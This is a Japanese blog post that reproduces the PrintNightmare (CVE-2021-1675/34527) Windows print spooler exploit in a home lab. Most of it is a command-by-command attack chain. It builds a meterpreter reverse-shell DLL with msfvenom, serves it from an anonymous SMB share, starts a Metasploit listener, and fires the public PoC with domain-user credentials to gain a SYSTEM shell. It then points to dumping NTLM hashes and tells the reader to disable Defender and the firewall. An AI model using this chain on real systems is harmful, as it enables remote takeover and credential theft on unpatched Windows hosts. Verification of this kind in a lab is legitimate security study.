サーバセキュリティ

【図解】Windows印刷スプーラの脆弱性(PrintNightmare: CVE-2021-34527) の検証

話題の Windows 印刷スプーラの脆弱性の PoC を試してみました。

PrintNightmare Privilege Escalation CVE-2021-1675 PoC - Insecure Wire
OK so this one is doing the rounds on Tw...

この脆弱性では、一般ユーザ権限でのリモート接続によって、SYSTEM 権限での悪意ある DLL を実行できます。この PoC では SYSTEM 権限でリバースシェルへ接続する DLL を実行します。

検証環境と攻撃の概要

構成図は以下の通り。

攻撃には一般ドメインユーザの ID/PW が必要ですが、攻撃が成功するとシステム権限 (NT AUTHORITY\SYSTEM) でリモートからシェル操作ができるようになります。

手順1. ドメインコントローラの準備

Windows Server 2019 等でドメインコントローラを 1 台以上用意し、example.com のドメインを作ります。また、ドメインユーザとして exuser01 を作ります。

手順2. Windows10 の準備 (ドメイン参加)

Windows10 を 1 台を用意し、ドメイン参加させます。(ドメイン名は example.com)

【図解/AD】ドメイン参加の仕組みと手順,メリット,参加できない時の注意点~
Active Directory のドメイン参加とは Active Direct...

Defender を切るため、Avast 等をインストールし、OFF (「永久に停止」等) させます。また、Windows FW も OFF にします。

手順3. Kali Linux の準備

Kali Liniux を 1 台用意し、1 つ目のコンソールを開き、sudo -s で root になった後、以下の手順で実行していきます。

impacket forked version をインストール

# git clone https://github.com/cube0x0/impacket
# cd impacket
# python3 ./setup.py install

cube0x0's Github から CVE-2021-1675.py をダウンロードし実行権限付与

# curl -O https://raw.githubusercontent.com/cube0x0/CVE-2021-1675/main/CVE-2021-1675.py
# chmod 777 CVE-2021-1675.py

悪意ある DLL を生成

ここでは 192.168.0.253 のリバースシェルに繋ぎにいく挙動をする DLL を生成します。

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.253 LPORT=4444 -f dll > shell-cmd.dll

/tmp へコピー (後で smb サービスで公開するため)

# cp ./shell-cmd.dll /tmp

Kali Linux 上で smb サービスを構成

# vi /etc/samba/smb.conf
~~~
[global] 

idmap config * : backend = tdb
smb ports = 445

~~~

[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser

SMB User を追加

# useradd smbuser
# smbpasswd -a smbuser

SMB を起動

# systemctl start smbd.service

リバースシェルを待ち構える

# msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.253; set lport 4444; exploit"

手順4. 攻撃

別のコンソールを起動し、impacket ディレクトリへ移動し、攻撃キック開始

kali@kali:~/impacket$ ./CVE-2021-1675.py example.com/exuser01:P@$$w0rd@192.168.0.2 '\\192.168.0.253\smb\shell-cmd.dll'

ここまで終えると、リバースシェルを待ち構えていたコンソールが以下のように meterpreter > と表示されます。

そして getuid と打つと、現在のユーザがシステム権限 (NT AUTHORITY\SYSTEM) であることが分かります。

例えば hashdump でローカルアカウントの NTLM hash を表示させることができます。

コメント

タイトルとURLをコピーしました